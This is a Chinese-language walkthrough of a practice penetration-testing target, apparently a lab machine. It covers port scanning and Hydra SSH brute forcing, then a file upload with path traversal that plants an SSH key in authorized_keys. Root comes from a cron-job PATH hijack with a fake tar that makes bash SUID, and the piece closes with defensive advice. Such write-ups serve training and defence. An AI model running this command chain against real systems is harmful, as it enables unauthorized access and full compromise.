从WEB到内网&&文件上传&&SSH公私钥免密登录&&Cron job提权--------打靶经验分享
字数 1443 2025-08-10 13:48:19
从WEB到内网渗透实战:文件上传、SSH公私钥免密登录与Cron job提权
环境准备
- 攻击机IP: 192.168.45.201
- 目标靶机IP: 192.168.248.249
- VPN配置: 使用
openvpn universal.ovpn连接
信息收集阶段
1. 端口扫描
使用Nmap进行初步扫描:
nmap --min-rate 10000 -p- 192.168.248.249
发现开放端口:21(FTP)、22(SSH)、111(RPC)、139(SMB)、443(HTTPS)、445(SMB)、2049(NFS)、10000(Webmin)、25022(SSH)、33414(未知)、40080(HTTP)
2. 服务版本探测
nmap -p 21,22,111,139,443,445,2049,10000,25022,33414,40080 -sV 192.168.248.249
重点关注端口:
- 21: FTP
- 25022: SSH
- 33414: 未知服务(Werkzeug/2.2.3)
- 40080: HTTP
攻击阶段
1. FTP服务(21端口)测试
尝试匿名登录:
ftp 192.168.248.249
用户名:anonymous
密码:空
未发现有用信息。
2. SSH服务(25022端口)测试
尝试弱口令爆破:
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.248.249 ssh -s 25022
3. 未知服务(33414端口)测试
发现Werkzeug服务,使用dirsearch进行目录扫描:
dirsearch -u http://192.168.248.249:33414/
发现有用端点:
/help: 显示可用API/info: 显示系统信息
4. HTTP服务(40080端口)测试
访问http://192.168.248.249:40080仅显示"Mozilla is cool!",无有用信息。
文件上传漏洞利用
1. 测试文件上传接口
发现/file-upload接口,尝试POST方法上传文件:
curl -X POST http://192.168.248.249:33414/file-upload
2. 创建测试文件并上传
touch shell.php
curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=shell.php http://192.168.248.249:33414/file-upload
发现PHP文件被阻止,尝试其他格式。
3. 检查上传文件位置
curl http://192.168.248.249:33414/file-list?dir=/tmp
4. 尝试目录穿越
curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=../shell.php http://192.168.248.249:33414/file-upload
返回500错误,说明权限不足。
5. 寻找可写目录
发现/home/alfredo/.ssh/目录可写:
curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=/home/alfredo/.ssh/shell.php http://192.168.248.249:33414/file-upload
SSH公私钥免密登录
1. 生成SSH密钥对
ssh-keygen -t rsa
2. 上传公钥到目标服务器
curl -X POST -F file="@/home/czy1874396671/shell.php.txt.pub.txt" -F filename=/home/alfredo/.ssh/authorized_keys http://192.168.248.249:33414/file-upload
3. 使用私钥登录
ssh -i shell.php.txt alfredo@192.168.248.249 -p 25022
成功获取shell。
内网渗透
1. 查找用户flag
find / -name local.txt
cat /home/alfredo/local.txt
提权方法
1. 尝试sudo提权
sudo -l
需要密码。
2. 检查SUID文件
find / -perm -u=s -type f 2>/dev/null
无可用文件。
3. 检查Capabilities
/usr/sbin/getcap -r / 2>/dev/null
无可用文件。
4. Cron job提权
检查定时任务
cat /etc/crontab
发现每分钟执行的任务:
* * * * * root /usr/local/bin/backup-flask.sh
检查脚本内容
cat /usr/local/bin/backup-flask.sh
内容为将/home/alfredo/restapi目录打包到/tmp/flask.tar.gz
检查脚本权限
ls -al /usr/local/bin/backup-flask.sh
创建恶意tar命令
echo "chmod +u+s /bin/bash" > tar
cat tar
chmod +x tar
等待任务执行
约1分钟后,检查bash权限:
ls -al /bin/bash
应显示-rwsr-sr-x权限
获取root shell
bash -p
5. 获取root flag
cat /root/proof.txt
关键点总结
-
文件上传漏洞利用:
- 通过API接口上传文件
- 发现
.ssh目录可写 - 上传自定义公钥实现SSH免密登录
-
Cron job提权:
- 发现root权限的定时任务
- 利用PATH环境变量劫持
- 创建恶意tar命令获取SUID bash
-
技术要点:
- Werkzeug服务的安全审计
- SSH公钥认证机制的利用
- Linux定时任务提权方法
防御建议
-
文件上传:
- 限制上传文件类型和扩展名
- 设置上传目录不可执行
- 对上传内容进行安全检查
-
SSH安全:
- 禁用root远程登录
- 使用密钥认证时设置严格权限
- 监控
.ssh目录的异常修改
-
定时任务:
- 使用绝对路径执行脚本
- 限制PATH环境变量
- 定期审计cron任务
-
权限管理:
- 遵循最小权限原则
- 定期检查SUID/SGID文件
- 监控特权操作